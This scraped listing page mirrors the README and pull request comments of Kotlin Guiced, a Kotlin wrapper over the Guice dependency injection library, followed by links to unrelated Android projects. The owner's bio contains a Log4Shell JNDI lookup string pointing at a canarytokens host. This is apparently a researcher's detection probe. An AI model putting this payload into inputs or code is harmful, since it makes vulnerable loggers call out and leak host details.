Convenience Kotlin API over the Google Guice DI Library

Overview

Kotlin Guiced

Build Status Download

A Kotlin API wrapper over the Google Guice Dependency Injection library.

This library aims to encourage the use of Guice with Kotlin by simplifying the Guice API so it is more fluent in the Kotlin programming language.

NOTE:

Project is in very early stage of development. I plan to add helper functions as needed in a parallel cooperate internal project and this project it may not comprehensively cover all of the methods out of the box.

Examples:

TypeLiteral

Because of java type erasure, Guice uses some strange java syntax to preserve type at runtime. Many of these problems have been solved by Kotlin using inline functions with reified types.

In java you can declare a type literal with:

final TypeLiteral<Map<Integer, String>> someLiteral = new TypeLiteral<Map<Integer, String>>() {}

In Kotlin this syntax becomes even more verbose requiring more characters to write.

val someLiteral = object : TypeLiteral<Map<Integer, String>>() {}

This library provides helpers like the one below that is much cleaner to read.

val someLiteral = typeLiteral<Map<Int, String>>()

Guice Modules

Creating a module in Java requires quite a bit of extra boilerplate.

public class MyModule extends AbstractModule {
    @Override
    void configure() {
        bind(SomeService.class).to(SomeServiceImpl.class);
    }
}

class Main {
    public static void main(String... args) {
        final Injector injector = Guice.createInjector(new MyModule());
    }
}

This is the equivalent in Kotlin:

fun main(vararg args: String) {
    val myModule = module {
        bind(SomeService::class).to(SomeServiceImpl::class)
        // Or, even simpler with reified generics
        bind<SomeService>().to<SomeServiceImpl>()
    }
    val injector = Guice.createInjector(myModule)
}

The library also defines a simple way of declaring private modules:

fun main(vararg args: String) {
    val privateModule = privateModule {
        bind<SomeService>().to<SomeServiceImpl>()
        expose<SomeService>()
    }
    val injector = Guice.createInjector(privateModule)
}

Project Structure

The intention is to structure this project such that Guice Core and each of it's respective extensions will be in their own projects. The reasoning being that a library consumer can choose to depend upon only the Guice extensions they need an not get a transitive dependency on a Guice extention they don't need.

Developers

Requirements

Requires JDK 8 installed (Kotlin Compiler compiles to JDK 6 bytecode but requires JDK 8 to run).

Building

This project uses Gradle to build/test/deploy code. Run ./gradlew tasks to se the various tasks this project supports.

You might also like...
Guice (pronounced 'juice') is a lightweight dependency injection framework for Java 6 and above, brought to you by Google.

Guice Latest release: 5.0.1 Documentation: User Guide, 5.0.1 javadocs, Latest javadocs Continuous Integration: Mailing Lists: User Mailing List Licens

 Utility for developers and QAs what helps minimize time wasting on writing the same data for testing over and over again. Made by Stfalcon
Utility for developers and QAs what helps minimize time wasting on writing the same data for testing over and over again. Made by Stfalcon

Stfalcon Fixturer A Utility for developers and QAs which helps minimize time wasting on writing the same data for testing over and over again. You can

DNS over HTTPS / DNS over Tor / DNSCrypt client, firewall, and connection tracker for Android.

RethinkDNS + Firewall for Android An OpenSnitch-inspired firewall and network monitor + a pi-hole-inspired DNS over HTTPS client with blocklists. In o

Kotlin dropwizard app running on Java 11. With Guice injection loaded.

hello world How to start the hello world application Run mvn clean install to build your application Start application with java -jar target/dropwizar

Android Application that plays music through a Spotify API based on a user's current location found through Google Maps API and also checking Google Weather API.

GeoStereo Android Application that plays music through a Spotify API based on a user's current location found through Google Maps API and also checkin

Unified API Library for: Cloud Storage, Social Log-In, Social Interaction, Payment, Email, SMS, POIs, Video & Messaging. Included services are Dropbox, Google Drive, OneDrive, OneDrive for Business, Box, Egnyte, PayPal, Stripe,  Google Places, Foursquare, Yelp, YouTube, Vimeo, Twitch, Facebook Messenger, Telegram, Line, Viber, Facebook, GitHub, Google+, LinkedIn, Slack, Twitter, Windows Live, Yahoo, Mailjet, Sendgrid, Twilio, Nexmo, Twizo. android-delicious Delicious Android is an Android app which helps you access and save bookmarks via Delicious. It's available over at Google Play.
android-delicious Delicious Android is an Android app which helps you access and save bookmarks via Delicious. It's available over at Google Play.

Delicious Android Delicious Android is an Android app which helps you access and save bookmarks via Delicious. It's available over at Google Play. Fea

Over 1600 customizable icons for Android including 750+ Google Material Design icons, 25 ready-made social badges, and more!
Over 1600 customizable icons for Android including 750+ Google Material Design icons, 25 ready-made social badges, and more!

droidicon - Over 1600 icons for Android! Icons From... Google Material Design FontAwesome Iconic Entypo Meteocons Unicode Icons Your own custom icons

Operations are performed by calling api endpoints over the network

##About The app Operations are performed by calling api endpoints over the network. Local data is in effect immutable, the client just downloads updat

DrawRoute wraps Google Directions API (https://developers.google.com/maps/documentation/directions/) using RxJava for Android so developers can download, parse and draw path on the map in very fast and flexible way (For now only JSON support). Library containing over 2000 material vector icons that can be easily used as Drawable or as a standalone View.
Library containing over 2000 material vector icons that can be easily used as Drawable or as a standalone View.

Material Icon Library A library containing over 2000 material vector icons that can be easily used as Drawable, a standalone View or inside menu resou

A library that gives full control over text related technologies such as bidirectional algorithm, open type shaping, text typesetting and text rendering
A library that gives full control over text related technologies such as bidirectional algorithm, open type shaping, text typesetting and text rendering

Tehreer-Android Tehreer is a library which gives full control over following text related technologies. Bidirectional Algorithm OpenType Shaping Engin

TourGuide is an Android library that aims to provide an easy way to add pointers with animations over a desired Android View

TourGuide TourGuide is an Android library. It lets you add pointer, overlay and tooltip easily, guiding users on how to use your app. Refer to the exa

A kotlin implementation of commutative encryption based on ECC ElGamal encryption over Curve25519

komuta A commutative encryption implementation. This is a naive implementation of commutative encryption using the ElGamal scheme applied over Curve25

Extension functions over Android's callback-based APIs which allows writing them in a sequential way within coroutines or observe multiple callbacks through kotlin flow.

callback-ktx A lightweight Android library that wraps Android's callback-based APIs into suspending extension functions which allow writing them in a

This library provides a simple way to add a draggable sliding up panel (popularized by Google Music and Google Maps) to your Android application. Brought to you by Umano.
This library provides a simple way to add a draggable sliding up panel (popularized by Google Music and Google Maps) to your Android application. Brought to you by Umano.

Note: we are not actively responding to issues right now. If you find a bug, please submit a PR. Android Sliding Up Panel This library provides a simp

This library provides a simple way to add a draggable sliding up panel (popularized by Google Music and Google Maps) to your Android application. Brought to you by Umano.
This library provides a simple way to add a draggable sliding up panel (popularized by Google Music and Google Maps) to your Android application. Brought to you by Umano.

Note: we are not actively responding to issues right now. If you find a bug, please submit a PR. Android Sliding Up Panel This library provides a simp

This application uses Google Play Services Vision library to scan barcodes. It uses Google's on device ML kit to scan for barcodes.
This application uses Google Play Services Vision library to scan barcodes. It uses Google's on device ML kit to scan for barcodes.

Barcode-Scanner This application showcases use of Google Play Services Vision library It uses Google's on device machine learning kit to scan for barc

Powerful custom Android Camera with granular control over the video quality and filesize, restricting recordings to landscape only.
Powerful custom Android Camera with granular control over the video quality and filesize, restricting recordings to landscape only.

LandscapeVideoCamera Highly flexible Android Camera which offers granular control over the video quality and filesize, while restricting recordings to

Comments
  • Improve the exceptions that are thrown by Kotlin-Guiced

    Improve the exceptions that are thrown by Kotlin-Guiced

    Before:

    com.google.inject.CreationException: Unable to create injector, see the following errors:
    
    1) A binding to org.jlleitschuh.guice.Interface was already configured at org.jlleitschuh.guice.BinderScope.bind(BinderScope.kt:43).
      at org.jlleitschuh.guice.BinderScope.bind(BinderScope.kt:43)
    
    

    Now:

    com.google.inject.CreationException: Unable to create injector, see the following errors:
    
    1) A binding to org.jlleitschuh.guice.Interface was already configured at org.jlleitschuh.guice.ModuleTest$module binding exceptions provide meaningful exceptions$module$1.invoke(ModuleTest.kt:100).
      at org.jlleitschuh.guice.ModuleTest$module binding exceptions provide meaningful exceptions$module$1.invoke(ModuleTest.kt:104)
    
    opened by JLLeitschuh 0
  • Add an extension function for Injector::getInstance

    Add an extension function for Injector::getInstance

    I often do injector.getInstance(key<Foo>()) when it would be easier if I could do injector.getInstance<Foo>() instead. This PR adds an extension function to make that happen and some tests.

    opened by Octogonapus 0
  • Better module api

    Better module api

    The changes to the README sum up the changes pretty well.

    Guice Modules

    Creating a module in Java requires quite a bit of extra boilerplate.

    public class MyModule extends AbstractModule {
        @Override
        void configure() {
            bind(SomeService.class).to(SomeServiceImpl.class);
        }
    }
    
    class Main {
        public static void main(String... args) {
            final Injector injector = Guice.createInjector(new MyModule());
        }
    }
    

    This is the equivalent in Kotlin:

    fun main(vararg args: String) {
        val myModule = module {
            bind(SomeService::class).to(SomeServiceImpl::class)
        }
        val injector = Guice.createInjector(myModule)
    }
    

    @SamCarlberg you want to take a look at this PR?

    opened by JLLeitschuh 0
Owner
Jonathan Leitschuh
Software Engineer & Security Researcher; Graduated from WPI; BS in Robotics and CS ${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytokens.co
Jonathan Leitschuh
:syringe: Transfuse - A Dependency Injection and Integration framework for Google Android

Transfuse Transfuse is a Java Dependency Injection (DI) and integration library geared specifically for the Google Android API. There are several key

John Ericksen 224 Nov 28, 2022
A scope tree based Dependency Injection (DI) library for Java / Kotlin / Android.

Toothpick (a.k.a T.P. like a teepee) Visit TP wiki ! What is Toothpick ? Toothpick is a scope tree based Dependency Injection (DI) library for Java. I

Stéphane Nicolas 1.1k Jan 1, 2023
Lightweight, minimalistic dependency injection library for Kotlin & Android

‼️ This project is in maintenance mode and not actively developed anymore. For more information read this statement. ‼️ Katana Katana is a lightweight

REWE Digital GmbH 179 Nov 27, 2022
Simple Android Library, that provides easy way to start the Activities with arguments.

Warning: Library is not maintained anymore. If you want to take care of this library, propose it via Pull Request. It needs adjustmensts for newer ver

Marcin Moskała 429 Dec 15, 2022
A multi-purpose library containing view injection and threading for Android using annotations

SwissKnife A multi-purpose Groovy library containing view injection and threading for Android using annotations. It's based on both ButterKnife and An

Jorge Martin Espinosa 251 Nov 25, 2022
A SharedPreference "injection" library for Android

PreferenceBinder A SharedPreferences binding library for Android. Using annotation processing, this library makes it easy to load SharedPreferences va

Denley Bihari 232 Dec 30, 2022
DependencyProperty is a dependency resolution library by Delegated Property.

DependencyProperty is a dependency resolution library by Delegated Property. Overview DependencyProperty is simple in defining and

wada811 10 Dec 31, 2022
Painless Kotlin Dependency Injection

KOtlin DEpendency INjection Kodein-DI is a very simple and yet very useful dependency retrieval container. it is very easy to use and configure. Kodei

null 2.9k Jan 1, 2023
Koin - a pragmatic lightweight dependency injection framework for Kotlin

What is KOIN? - https://insert-koin.io A pragmatic lightweight dependency injection framework for Kotlin developers. Koin is a DSL, a light container

insert-koin.io 7.8k Jan 8, 2023
Google Guice on Android, version 3.0 [RETIRED]

As of August 2016, RoboGuice is no longer supported. For nearly 5 years it was the #1 dependency injection framework on Android due to its ease-of-use

null 3.8k Dec 26, 2022